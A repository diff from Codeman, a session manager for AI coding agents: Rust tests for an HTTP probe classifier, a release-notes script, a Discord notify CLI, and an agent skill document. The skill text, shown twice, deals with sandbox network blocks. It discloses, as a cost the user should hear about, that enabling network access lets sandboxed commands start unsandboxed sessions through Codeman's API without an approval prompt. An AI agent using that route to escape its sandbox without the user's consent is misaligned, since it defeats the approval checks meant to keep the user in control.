fn classify(status: u16, sent_credentials: bool, body: &str) -> ProbeOutcome {
classify_response(&status_url(), status, None, None, sent_credentials, body)
}
fn redirect(request: &str, location: &str) -> ProbeOutcome {
classify_response(&Url::parse(request).unwrap(), 301, Some(location), None, false, "")
}
fn io_outcome(kind: io::ErrorKind, message: &str, plain_http: bool) -> ProbeOutcome {
let err = ureq::Error::Io(io::Error::new(kind, message.to_string()));
classify_transport(transport_error(&err, plain_http))
}
#[test]
fn ok_needs_success_and_version() {
assert_eq!(
classify(
200,
false,
r#"{"success":true,"data":{"version":"1.47.0","sessions":[]}}"#
),
ProbeOutcome::Ok {
version: "1.47.0".into()
}
);
assert_eq!(
classify(200, false, "<html>hello</html>"),
ProbeOutcome::NotCodeman { status: 200 }
);
assert_eq!(
classify(200, false, r#"{"success":false,"data":{"version":"1"}}"#),
ProbeOutcome::NotCodeman { status: 200 }
);
assert_eq!(
classify(200, false, r#"{"success":true}"#),
ProbeOutcome::NotCodeman { status: 200 }
);
}
#[test]
fn auth_and_guards() {
assert_eq!(classify(401, false, "Unauthorized"), ProbeOutcome::NeedsLogin);
assert_eq!(classify(401, true, "Unauthorized"), ProbeOutcome::BadCredentials);
assert_eq!(
classify(403, false, "Forbidden: host not allowed"),
ProbeOutcome::HostNotAllowed
);
// The Host guard runs before authentication, so it wins even with credentials.
assert_eq!(
classify(403, true, "Forbidden: host not allowed"),
ProbeOutcome::HostNotAllowed
);
assert_eq!(classify(403, false, "nope"), ProbeOutcome::NotCodeman { status: 403 });
assert_eq!(classify(502, false, ""), ProbeOutcome::NotCodeman { status: 502 });
}
/// The exact body auth.ts sends: `createErrorResponse(PASSWORD_CHANGE_REQUIRED)`.
#[test]
fn password_change_required_only_after_sent_credentials() {
let body = r#"{"success":false,"error":"You must change your password before continuing","errorCode":"PASSWORD_CHANGE_REQUIRED"}"#;
assert_eq!(classify(403, true, body), ProbeOutcome::PasswordChangeRequired);
assert_eq!(classify(403, false, body), ProbeOutcome::NotCodeman { status: 403 });
// Another Codeman error code, or the text without the JSON field, is not it.
assert_eq!(
classify(403, true, r#"{"success":false,"errorCode":"FORBIDDEN"}"#),
ProbeOutcome::NotCodeman { status: 403 }
);
assert_eq!(
classify(403, true, "PASSWORD_CHANGE_REQUIRED"),
ProbeOutcome::NotCodeman { status: 403 }
);
}
#[test]
fn rate_limited_says_whether_credentials_went_along() {
let body = "Too Many Requests, try again later";
assert_eq!(
classify(429, false, body),
ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: None
}
);
assert_eq!(
classify(429, true, body),
ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: None
}
);
// auth.ts sends Retry-After in whole seconds; an HTTP date is not parsed.
assert_eq!(
classify_response(&status_url(), 429, None, Some(" 742 "), true, body),
ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: Some(742)
}
);
assert_eq!(
classify_response(
&status_url(),
429,
None,
Some("Wed, 21 Oct 2026 07:28:00 GMT"),
false,
body
),
ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: None
}
);
}
#[test]
fn redirect_to_https_on_the_same_host_is_suggested() {
assert_eq!(
redirect("http://studio.lan/api/status", "https://studio.lan/api/status"),
ProbeOutcome::Redirect {
location: "https://studio.lan/api/status".into(),
suggested: Some("https://studio.lan/".into())
}
);
// A base path the proxy adds stays part of the suggestion; a query does not.
assert_eq!(
redirect(
"http://studio.lan:3000/api/status",
"https://studio.lan/codeman/api/status?from=http"
),
ProbeOutcome::Redirect {
location: "https://studio.lan/codeman/api/status?from=http".into(),
suggested: Some("https://studio.lan/codeman/".into())
}
);
// A relative Location resolves against the probed URL; another port is fine.
assert_eq!(
redirect(
"http://studio.lan:3000/base/api/status",
"//studio.lan:3001/base/api/status"
),
ProbeOutcome::Redirect {
location: "http://studio.lan:3001/base/api/status".into(),
suggested: Some("http://studio.lan:3001/base/".into())
}
);
}
#[test]
fn other_redirects_are_reported_without_a_suggestion() {
// Another host (a login gateway, say).
assert_eq!(
redirect("http://studio.lan/api/status", "https://sso.example.com/login?next=x"),
ProbeOutcome::Redirect {
location: "https://sso.example.com/login?next=x".into(),
suggested: None
}
);
// Same host, but no longer the status API.
assert_eq!(
redirect("http://studio.lan/api/status", "/login"),
ProbeOutcome::Redirect {
location: "http://studio.lan/login".into(),
suggested: None
}
);
// A downgrade to plain http.
assert_eq!(
redirect("https://studio.lan/api/status", "http://studio.lan/api/status"),
ProbeOutcome::Redirect {
location: "http://studio.lan/api/status".into(),
suggested: None
}
);
// Same scheme and port, only the path moved.
assert_eq!(
redirect("http://studio.lan/api/status", "/x/api/status"),
ProbeOutcome::Redirect {
location: "http://studio.lan/x/api/status".into(),
suggested: None
}
);
// Credentials in the target are never suggested.
assert_eq!(
redirect("http://studio.lan/api/status", "https://u:p@studio.lan/api/status"),
ProbeOutcome::Redirect {
location: "https://u:p@studio.lan/api/status".into(),
suggested: None
}
);
// No Location (304), or one that does not parse: nothing to act on.
assert_eq!(
classify_response(&status_url(), 304, None, None, false, ""),
ProbeOutcome::NotCodeman { status: 304 }
);
assert_eq!(
classify_response(&status_url(), 302, Some("http://[::1"), None, false, ""),
ProbeOutcome::NotCodeman { status: 302 }
);
}
#[test]
fn transport_classes() {
assert_eq!(classify_transport(TransportError::Refused), ProbeOutcome::Refused);
assert_eq!(classify_transport(TransportError::Timeout), ProbeOutcome::Timeout);
assert_eq!(classify_transport(TransportError::Dns), ProbeOutcome::Unresolvable);
assert_eq!(
classify_transport(TransportError::Tls("bad cert".into())),
ProbeOutcome::TlsUntrusted {
detail: "bad cert".into()
}
);
}
/// The io errors exactly as ureq hands them over (`Error::Io`).
#[test]
fn io_errors_are_told_apart() {
use io::ErrorKind;
// rustls' certificate rejection from the handshake.
let cert = "invalid peer certificate: UnknownIssuer";
assert_eq!(
io_outcome(ErrorKind::InvalidData, cert, false),
ProbeOutcome::TlsUntrusted { detail: cert.into() }
);
// Any other InvalidData (a port that does not speak TLS, say) is not a certificate problem.
assert_eq!(
io_outcome(
ErrorKind::InvalidData,
"received corrupt message of type InvalidContentType",
false
),
ProbeOutcome::Failed {
detail: "received corrupt message of type InvalidContentType".into()
}
);
// std's getaddrinfo failure (its real kind, Uncategorized, cannot be built on stable).
assert_eq!(
io_outcome(
ErrorKind::Other,
"failed to lookup address information: nodename nor servname provided, or not known",
true
),
ProbeOutcome::Unresolvable
);
// The same text from the OS (an errno) is not a lookup failure.
let os = ureq::Error::Io(io::Error::from_raw_os_error(1));
assert!(!matches!(
classify_transport(transport_error(&os, true)),
ProbeOutcome::Unresolvable
));
// ureq's "Peer disconnected": over http a hint at https, over https just a failure.
assert_eq!(
io_outcome(ErrorKind::UnexpectedEof, "Peer disconnected", true),
ProbeOutcome::MaybeHttps
);
assert_eq!(
io_outcome(ErrorKind::UnexpectedEof, "Peer disconnected", false),
ProbeOutcome::Failed {
detail: "Peer disconnected".into()
}
);
// No route: Local Network privacy, or a machine that is off.
assert_eq!(
io_outcome(ErrorKind::HostUnreachable, "No route to host", true),
ProbeOutcome::Unreachable
);
assert_eq!(
io_outcome(ErrorKind::NetworkUnreachable, "Network is unreachable", false),
ProbeOutcome::Unreachable
);
assert_eq!(
io_outcome(ErrorKind::ConnectionRefused, "Connection refused", true),
ProbeOutcome::Refused
);
assert_eq!(
classify_transport(transport_error(&ureq::Error::HostNotFound, true)),
ProbeOutcome::Unresolvable
);
// A ureq TLS setup message is not an untrusted certificate.
assert_eq!(
classify_transport(transport_error(
&ureq::Error::Tls("Rustls invalid dns name error"),
false
)),
ProbeOutcome::Failed {
detail: "Rustls invalid dns name error".into()
}
);
}
#[test]
fn outcome_serializes_for_the_page() {
let json = |o: ProbeOutcome| serde_json::to_value(o).unwrap();
assert_eq!(
json(ProbeOutcome::NotCodeman { status: 404 }),
serde_json::json!({"kind":"notCodeman","status":404})
);
assert_eq!(json(ProbeOutcome::NeedsLogin), serde_json::json!({"kind":"needsLogin"}));
assert_eq!(
json(ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: None
}),
serde_json::json!({"kind":"rateLimited","sentCredentials":true})
);
assert_eq!(
json(ProbeOutcome::RateLimited {
sent_credentials: false,
retry_after_secs: Some(60)
}),
serde_json::json!({"kind":"rateLimited","sentCredentials":false,"retryAfterSecs":60})
);
assert_eq!(
json(ProbeOutcome::PasswordChangeRequired),
serde_json::json!({"kind":"passwordChangeRequired"})
);
assert_eq!(
json(ProbeOutcome::Redirect {
location: "https://studio.lan/api/status".into(),
suggested: Some("https://studio.lan/".into())
}),
serde_json::json!({"kind":"redirect","location":"https://studio.lan/api/status","suggested":"https://studio.lan/"})
);
assert_eq!(
json(ProbeOutcome::Redirect {
location: "https://sso.example.com/".into(),
suggested: None
}),
serde_json::json!({"kind":"redirect","location":"https://sso.example.com/","suggested":null})
);
assert_eq!(
json(ProbeOutcome::Unreachable),
serde_json::json!({"kind":"unreachable"})
);
assert_eq!(json(ProbeOutcome::MaybeHttps), serde_json::json!({"kind":"maybeHttps"}));
assert_eq!(
json(ProbeOutcome::TlsUntrusted { detail: "x".into() }),
serde_json::json!({"kind":"tlsUntrusted","detail":"x"})
);
assert_eq!(
json(ProbeOutcome::Unresolvable),
serde_json::json!({"kind":"unresolvable"})
);
}
/// Against real sockets: a closed port is `Refused`, a listener that
/// speaks HTTP but not Codeman is `NotCodeman`, a fake Codeman is `Ok`,
/// a 401 is `NeedsLogin`, a redirect is reported without being followed,
/// and a listener that hangs up without answering is `MaybeHttps`.
#[test]
fn probe_against_local_sockets() {
use std::io::{Read, Write};
use std::net::TcpListener;
let closed = {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
l.local_addr().unwrap().port()
};
let url = Url::parse(&format!("http://127.0.0.1:{closed}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::Refused);
/// Accept one connection, read the request and send `response`
/// (nothing, then close, for an empty one).
fn serve_raw(response: String) -> u16 {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
if let Ok((mut s, _)) = l.accept() {
// Read the whole request head (a GET has no body) so that
// closing sends a FIN, not a reset for unread bytes.
let mut head = Vec::new();
let mut buf = [0u8; 4096];
while !head.windows(4).any(|w| w == b"\r\n\r\n") {
match s.read(&mut buf) {
Ok(0) | Err(_) => break,
Ok(n) => head.extend_from_slice(&buf[..n]),
}
}
let _ = s.write_all(response.as_bytes());
}
});
port
}
fn serve_once(status_line: &str, extra_headers: &str, body: &str) -> u16 {
serve_raw(format!(
"HTTP/1.1 {status_line}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n{extra_headers}Connection: close\r\n\r\n{body}",
body.len()
))
}
let p = serve_once("200 OK", "", r#"{"success":true,"data":{"version":"9.9.9"}}"#);
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(
probe(&url, None),
ProbeOutcome::Ok {
version: "9.9.9".into()
}
);
let p = serve_once("404 Not Found", "", "nope");
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::NotCodeman { status: 404 });
let p = serve_once("401 Unauthorized", "", "Unauthorized");
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::NeedsLogin);
let p = serve_once("429 Too Many Requests", "Retry-After: 30\r\n", "Too Many Requests");
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(
probe(&url, Some("Basic YWRtaW46eA==")),
ProbeOutcome::RateLimited {
sent_credentials: true,
retry_after_secs: Some(30)
}
);
// Nothing listens on the redirect target: had it been followed, the
// answer would be Refused instead.
let p = serve_once(
"301 Moved Permanently",
&format!("Location: https://127.0.0.1:{closed}/api/status\r\n"),
"",
);
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(
probe(&url, None),
ProbeOutcome::Redirect {
location: format!("https://127.0.0.1:{closed}/api/status"),
suggested: Some(format!("https://127.0.0.1:{closed}/"))
}
);
let p = serve_raw(String::new());
let url = Url::parse(&format!("http://127.0.0.1:{p}/")).unwrap();
assert_eq!(probe(&url, None), ProbeOutcome::MaybeHttps);
}
/// A Codeman that sends its status headers and then stalls (a blocked
/// event loop, a lossy link) did not answer in time. It is not "something
/// else on this port", which is what an empty body read as before.
#[test]
fn a_body_that_stalls_is_a_timeout() {
use std::io::{Read, Write};
use std::net::TcpListener;
/// Send `head` and the start of a body, then hold the connection open.
fn serve_stalling(status_line: &'static str) -> u16 {
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
std::thread::spawn(move || {
if let Ok((mut s, _)) = l.accept() {
let mut buf = [0u8; 4096];
let _ = s.read(&mut buf);
let _ = s.write_all(
format!("HTTP/1.1 {status_line}\r\nContent-Type: application/json\r\nContent-Length: 4096\r\n\r\n{{\"success\":true,").as_bytes(),
);
std::thread::sleep(Duration::from_secs(3));
}
});
port
}
let short = Duration::from_millis(400);
let url = Url::parse(&format!("http://127.0.0.1:{}/", serve_stalling("200 OK"))).unwrap();
assert_eq!(probe_within(&url, None, short), ProbeOutcome::Timeout);
// A 401 has said all it needs to with its status line.
let url = Url::parse(&format!("http://127.0.0.1:{}/", serve_stalling("401 Unauthorized"))).unwrap();
assert_eq!(probe_within(&url, None, short), ProbeOutcome::NeedsLogin);
}
}
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1,7 +1,7 @@
{
"name": "codeman",
"description": "Drive Codeman, the self-hosted session manager for AI coding agents, from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
"version": "1.46.0",
"version": "1.49.0",
"author": {
"name": "Ark0N",
"url": "https://github.com/Ark0N"
+20 -4
View File
@@ -60,6 +60,10 @@ land in `~/.claude`; pass `--working-dir ~` to mean it). Directory launches keep
mark the project as agent scratch. If startup fails or is ambiguous, the CLI
reports the exact created ID: inspect it before retrying or cleaning up.
**`codeman: command not found` is not a dead end.** Some installs (a server run from a
source checkout, for one) put no `codeman` on PATH. Do not stop there: §0 and §1 below
are the same verbs over `curl`, and need nothing but `curl` and `jq`.
## 0. Guard and bootstrap
For live API operations, if `CODEMAN_MUX` is not `1`, **stop and say so**.
@@ -68,13 +72,25 @@ Do not guess an API URL; a server you are not part of is not yours to drive.
Two failures come from your CLI, not from Codeman: name them to the user instead of
retrying.
- **Every call fails at once with "couldn't connect" or "connection refused".** Your
CLI's sandbox blocks network access, even to this machine. Codex's default sandbox
does; it needs **Bypass approvals and sandbox** (Codeman App Settings, Codex).
- **Every call fails at once with "couldn't connect", "connection refused" or `connect
EPERM`.** Your CLI's sandbox blocks network access, even to this machine. If your CLI
can ask the user to run a command outside its sandbox (Codex can), re-run **the same
command** once that way, never a different one; if the user declines, stop. For lasting
access in Codex, the user turns on **Allow network access** (Codeman App Settings,
Codex) and starts a new Codex session. Tell them what it costs first: it applies to
every new local Codex session, and commands in Codex's sandbox can then call Codeman's
API, which can start a session outside the sandbox with no approval prompt, even when
a password is set. It opens the network wherever Codex runs the folder workspace-write
and does not change the sandbox mode: a folder Codex runs read-only keeps the network
closed, so each call still needs the per-command approval (or `/permissions`).
**Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
- **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
`404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
the delete guard) is that session's. Delete nothing; tell the user.
the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
Codex started without that flag: an older Codex, a local session whose version Codeman
could not read, a remote or Docker session, or a server that predates it.
⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env node
// Prints the GitHub release notes for one version, built from its section of CHANGELOG.md.
// The Release workflow sends this to the release it just published. Run it by hand to preview:
//
// node scripts/generate-release-notes.mjs [version] default: the version in package.json
//
// Exits 1 with nothing on stdout when the changelog has no section for that version, so the
// workflow keeps the text changesets wrote rather than blanking a published release.
import { readFileSync } from 'node:fs';
import { dirname, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
import { buildReleaseNotes } from './lib/release-notes.mjs';
const root = resolve(dirname(fileURLToPath(import.meta.url)), '..');
const version = process.argv[2] ?? JSON.parse(readFileSync(resolve(root, 'package.json'), 'utf8')).version;
const notes = buildReleaseNotes(readFileSync(resolve(root, 'CHANGELOG.md'), 'utf8'), version);
if (!notes) {
console.error(`release-notes: CHANGELOG.md has no notes for ${version}`);
process.exit(1);
}
process.stdout.write(notes);
+5
View File
@@ -218,6 +218,11 @@ function canonicalPath(path) {
* @returns {string | null}
*/
export function resolveGitHooksDir(repoRoot) {
// Not a checkout at all (a source-archive or npm install): answer without running
// git. On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that
// opens Apple's "install the developer tools" dialog, and this runs on every
// `npm install`. `.git` is a directory in a clone and a file in a worktree.
if (!existsSync(join(repoRoot, '.git'))) return null;
try {
const top = git(repoRoot, ['rev-parse', '--show-toplevel']);
if (!top || realpathSync(top) !== realpathSync(repoRoot)) return null;
+144
View File
@@ -0,0 +1,144 @@
/**
* Turns one version's section of CHANGELOG.md into the body of its GitHub release.
*
* changesets writes a changeset as one list item, `- <hash>: <first line>`, with the rest
* indented under it, and changesets/action copies that section into the release as it stands.
* So a whole release rendered as a single bullet, and the `### Thanks` that opens a changeset
* sat behind the hash as literal text. The shape below cannot be written into CHANGELOG.md
* instead: `### <Type> Changes` is hardcoded upstream, and a `## ` line would end the section
* for both changesets/action and versionSection(). So the changelog keeps changesets' format,
* and the Release workflow applies this to what comes out of it.
*
* Only the commit prefix and the `### <Type> Changes` lines are removed. A block this does not
* recognise stays as text; test/release-notes.test.ts checks that over every past release.
*/
import { SECTION_LABELS, cleanLead, versionSection } from './whats-new.mjs';
const REPO_URL = 'https://github.com/Ark0N/Codeman';
const TYPE_HEADING = /^### (?:Major|Minor|Patch) Changes\s*$/;
const ITEM_START = /^- (?:[0-9a-f]{7,40}: )?(.*)$/;
const HEADING = /^#{1,6}\s+(.+?)\s*$/;
const BOLD_START = /^\*\*(.+?)\*\*(?:\s+(.*))?$/;
const LIST_ITEM = /^\s*[-*] /;
const VERSION_HEADING = /^## (\d+\.\d+\.\d+\S*)\s*$/;
const BEHAVIOUR_CHANGE = /(?<![*\w])(Behaviou?r changes?|Breaking):/g;
/** The section's changesets, each as its own lines with the prefix and indent removed. */
function changesets(section) {
const items = [];
for (const line of section.split('\n')) {
if (TYPE_HEADING.test(line)) continue;
const start = ITEM_START.exec(line);
if (start) items.push([start[1]]);
else if (items.length > 0) items[items.length - 1].push(line.replace(/^ {2}/, ''));
else if (line.trim()) items.push([line]);
}
return items;
}
/** Splits lines on blank ones, keeping a fenced code block whole. */
function splitBlocks(lines) {
const blocks = [];
let current = [];
let inFence = false;
for (const line of lines) {
if (/^\s*(?:```|~~~)/.test(line)) inFence = !inFence;
if (inFence || line.trim()) {
current.push(line);
} else if (current.length > 0) {
blocks.push(current);
current = [];
}
}
if (current.length > 0) blocks.push(current);
return blocks;
}
/**
* The title a block opens with, or null. Bold counts only as a lead-in when it ends in
* punctuation or stands alone: "**Allow network access** is a new setting" is a sentence.
*/
function blockTitle(firstLine) {
const heading = HEADING.exec(firstLine);
if (heading) return { title: heading[1], text: '', isHeading: true };
const bold = BOLD_START.exec(firstLine);
if (bold && (!bold[2] || /[.:?!]$/.test(bold[1]))) return { title: bold[1], text: bold[2] ?? '', isHeading: false };
return null;
}
/** Which part of the page a group label heads, or null for a change's own headline. */
function groupFor(label) {
if (!SECTION_LABELS.test(label)) return null;
if (/^thanks\b/i.test(label)) return 'thanks';
if (/^fixes$/i.test(label)) return 'fixes';
return /^new features$/i.test(label) ? null : 'also';
}
/** Sorts every block of the section into the part of the page it belongs to. */
function sortBlocks(section) {
const parts = { thanks: [], intro: [], news: [], fixes: [], also: [] };
const items = changesets(section);
for (const item of items) {
const blocks = splitBlocks(item);
// Text with no headline leads What's new, or it would read as part of the last feature.
let target = 'intro';
let thanksIsEmpty = false;
for (const block of blocks) {
const [first, ...rest] = block;
const opened = blockTitle(first);
if (opened) {
const label = cleanLead(opened.title);
const group = groupFor(label);
const body = [opened.text, ...rest].filter(Boolean).join('\n');
target = group ?? 'news';
thanksIsEmpty = group === 'thanks' && !body;
if (group === 'also') {
// These two are a sentence or two each, so they keep their bold lead-in: a heading
// over every one of them weighs more than the text under it.
parts.also.push(opened.isHeading ? [`**${label}.**`, ...rest].join('\n') : block.join('\n'));
} else if (group) {
if (body) parts[group].push(body);
} else {
parts.news.push(`### ${label}`);
if (body) parts.news.push(body);
}
continue;
}
// Only credit stays under Thanks: what opens it, its list, and a line ending in a colon
// that leads into one. A paragraph after that is the release talking again.
if (target === 'thanks' && !thanksIsEmpty && !LIST_ITEM.test(first) && !first.endsWith(':')) target = 'intro';
thanksIsEmpty = false;
const text = block.join('\n');
// A one-line changeset was a bullet in the changelog; beside others it stays one.
parts[target].push(blocks.length === 1 && items.length > 1 ? `- ${text}` : text);
}
}
return parts;
}
/** The release before `version`, or null for the first one or a version not in the changelog. */
export function previousVersion(changelog, version) {
const versions = changelog.split(/\r?\n/).flatMap((line) => VERSION_HEADING.exec(line)?.[1] ?? []);
const index = versions.indexOf(version);
return index === -1 ? null : (versions[index + 1] ?? null);
}
/** The markdown for the release page, or '' when the changelog has nothing for `version`. */
export function buildReleaseNotes(changelog, version) {
const { thanks, intro, news, fixes, also } = sortBlocks(versionSection(changelog, version));
const page = [];
// Thanks stays first on purpose: contributors are the first thing a visitor to Latest sees.
if (thanks.length > 0) page.push('## Thanks', ...thanks);
if (intro.length + news.length > 0) page.push("## What's new", ...intro, ...news);
if (fixes.length > 0) page.push('## Fixes', ...fixes);
if (also.length > 0) page.push('## Also in this release', ...also);
if (page.length === 0) return '';
const blocks = page.map((block) => (block.startsWith('#') ? block : block.replace(BEHAVIOUR_CHANGE, '**$1:**')));
const previous = previousVersion(changelog, version);
if (previous) {
blocks.push('---', `**Full Changelog**: ${REPO_URL}/compare/codeman@${previous}...codeman@${version}`);
}
return `${blocks.join('\n\n')}\n`;
}
+6 -2
View File
@@ -19,9 +19,13 @@ export function versionSection(changelog, version) {
// Bold phrases the release notes use as group labels rather than as the headline of a change:
// "**Fixes.**" heads the list of fixes, "**Fixes applied while landing.**" the review fixes.
const SECTION_LABELS =
// Shared with release-notes.mjs, so the toast and the release page agree on what is a headline.
export const SECTION_LABELS =
/^(?:thanks\b.*|fixes|fixes applied while landing|docs|docs and tests|new features|also in this release)$/i;
/** A bold lead-in without its closing punctuation. */
export const cleanLead = (text) => text.replace(/[\s.:]+$/, '').trim();
/** Bold lead-ins at the start of a paragraph or bullet, cleaned for display. */
export function extractHighlights(section) {
const out = [];
@@ -30,7 +34,7 @@ export function extractHighlights(section) {
// ("- d18deed: **Lead.** text"), which is the shape every changesets-bot release has.
const m = /^\s*(?:[-*]\s+)?(?:[0-9a-f]{7,40}:\s+)?\*\*([^*]{3,120})\*\*/.exec(line);
if (!m) continue;
const text = m[1].replace(/[\s.:]+$/, '').trim();
const text = cleanLead(m[1]);
if (!text || SECTION_LABELS.test(text)) continue;
if (!out.includes(text)) out.push(text);
}
+20 -4
View File
@@ -60,6 +60,10 @@ land in `~/.claude`; pass `--working-dir ~` to mean it). Directory launches keep
mark the project as agent scratch. If startup fails or is ambiguous, the CLI
reports the exact created ID: inspect it before retrying or cleaning up.
**`codeman: command not found` is not a dead end.** Some installs (a server run from a
source checkout, for one) put no `codeman` on PATH. Do not stop there: §0 and §1 below
are the same verbs over `curl`, and need nothing but `curl` and `jq`.
## 0. Guard and bootstrap
For live API operations, if `CODEMAN_MUX` is not `1`, **stop and say so**.
@@ -68,13 +72,25 @@ Do not guess an API URL; a server you are not part of is not yours to drive.
Two failures come from your CLI, not from Codeman: name them to the user instead of
retrying.
- **Every call fails at once with "couldn't connect" or "connection refused".** Your
CLI's sandbox blocks network access, even to this machine. Codex's default sandbox
does; it needs **Bypass approvals and sandbox** (Codeman App Settings, Codex).
- **Every call fails at once with "couldn't connect", "connection refused" or `connect
EPERM`.** Your CLI's sandbox blocks network access, even to this machine. If your CLI
can ask the user to run a command outside its sandbox (Codex can), re-run **the same
command** once that way, never a different one; if the user declines, stop. For lasting
access in Codex, the user turns on **Allow network access** (Codeman App Settings,
Codex) and starts a new Codex session. Tell them what it costs first: it applies to
every new local Codex session, and commands in Codex's sandbox can then call Codeman's
API, which can start a session outside the sandbox with no approval prompt, even when
a password is set. It opens the network wherever Codex runs the folder workspace-write
and does not change the sandbox mode: a folder Codex runs read-only keeps the network
closed, so each call still needs the per-command approval (or `/permissions`).
**Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
- **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
`404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
the delete guard) is that session's. Delete nothing; tell the user.
the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
Codex started without that flag: an older Codex, a local session whose version Codeman
could not read, a remote or Docker session, or a server that predates it.
⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by
+129
View File
@@ -0,0 +1,129 @@
/**
* @fileoverview `codeman notify`: post to this tab's Discord thread (POST /api/sessions/:id/discord-notify).
*
* A CLI that is blocked on something only the user can do (a physical step, a blocker, a timed-out
* wait) runs this. It reads CODEMAN_SESSION_ID and CODEMAN_API_URL, which Codeman sets in every
* session, and the shared credentials, so the caller handles no auth. `runNotify` returns what to
* print and the exit code instead of exiting, so a test can drive it.
*
* @module cli-notify
*/
import http from 'node:http';
import https from 'node:https';
import { isAbsolute, join } from 'node:path';
import { readCodemanCredentials } from './codeman-credentials.js';
const REQUEST_TIMEOUT_MS = 30_000;
export interface NotifyOptions {
message: string;
urgent?: boolean;
file?: string;
session?: string;
url?: string;
}
export interface NotifyResult {
code: number;
out?: string;
err?: string;
}
export type JsonPost = (
apiUrl: string,
apiPath: string,
payload: unknown,
timeoutMs?: number
) => Promise<{ status: number; error?: string; delivery?: { ok: boolean; error?: string } }>;
/** POST JSON to the Codeman API with the same credentials `codeman attach` uses. Status 0 means no answer. */
export const postJson: JsonPost = (apiUrl, apiPath, payload, timeoutMs = REQUEST_TIMEOUT_MS) => {
const { username, password } = readCodemanCredentials();
const url = new URL(apiPath, apiUrl);
const body = JSON.stringify(payload);
const transport = url.protocol === 'https:' ? https : http;
return new Promise((resolveOnce) => {
// Settle once: a response that stalls after its headers ends in 'close' without 'end'.
let settled = false;
const resolve: typeof resolveOnce = (v) => {
if (settled) return;
settled = true;
resolveOnce(v);
};
const headers: Record<string, string | number> = {
Accept: 'application/json',
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(body),
};
if (password) headers.Authorization = `Basic ${Buffer.from(`${username}:${password}`).toString('base64')}`;
const req = transport.request(
{
protocol: url.protocol,
hostname: url.hostname,
port: url.port,
method: 'POST',
path: `${url.pathname}${url.search}`,
rejectUnauthorized: false,
headers,
timeout: timeoutMs,
},
(res) => {
let text = '';
res.on('data', (c) => (text += c));
res.on('error', () => resolve({ status: 0 }));
res.on('close', () => resolve({ status: 0 }));
res.on('end', () => {
let error: string | undefined;
let delivery: { ok: boolean; error?: string } | undefined;
try {
const body = JSON.parse(text) as { error?: string; data?: { ok?: unknown; error?: string } };
error = body.error;
// A 200 only says Codeman took the request; `data.ok` says whether Discord took the post.
if (typeof body.data?.ok === 'boolean') delivery = { ok: body.data.ok, error: body.data.error };
} catch {
/* not JSON */
}
resolve({ status: res.statusCode ?? 0, error, delivery });
});
}
);
// A server that takes the connection and never answers must not hang the agent: status 0 is "no answer".
req.on('timeout', () => req.destroy());
req.on('error', () => resolve({ status: 0 }));
req.write(body);
req.end();
});
};
export async function runNotify(
opts: NotifyOptions,
env: NodeJS.ProcessEnv,
cwd: string,
post: JsonPost = postJson
): Promise<NotifyResult> {
const sessionId = opts.session || env.CODEMAN_SESSION_ID;
const apiUrl = opts.url || env.CODEMAN_API_URL;
if (!sessionId || !apiUrl) {
return { code: 1, err: 'notify must run inside a Codeman session (CODEMAN_SESSION_ID and CODEMAN_API_URL)' };
}
const payload: { message: string; urgent?: boolean; file?: string } = { message: opts.message };
if (opts.urgent) payload.urgent = true;
if (opts.file) payload.file = isAbsolute(opts.file) ? opts.file : join(cwd, opts.file);
const { status, error, delivery } = await post(
apiUrl,
`/api/sessions/${encodeURIComponent(sessionId)}/discord-notify`,
payload
);
if (status >= 200 && status < 300) {
if (delivery?.ok === false) {
return { code: 1, err: `Could not post to Discord${delivery.error ? `: ${delivery.error}` : ''}` };
}
return { code: 0, out: 'Posted to Discord' };
}
// The bridge being off is not a failure: the caller just says it in the terminal.
if (status === 409) return { code: 0, out: 'The Discord bridge is off. Say it in the terminal instead.' };
if (status === 429)
return { code: 1, err: 'Too many messages to Discord from this tab. Wait a minute, then send one.' };
return { code: 1, err: `Could not post to Discord${error ? `: ${error}` : status ? ` (HTTP ${status})` : ''}` };
}
+17
View File
@@ -16,6 +16,7 @@ import { isAbsolute, join } from 'node:path';
import { homedir } from 'node:os';
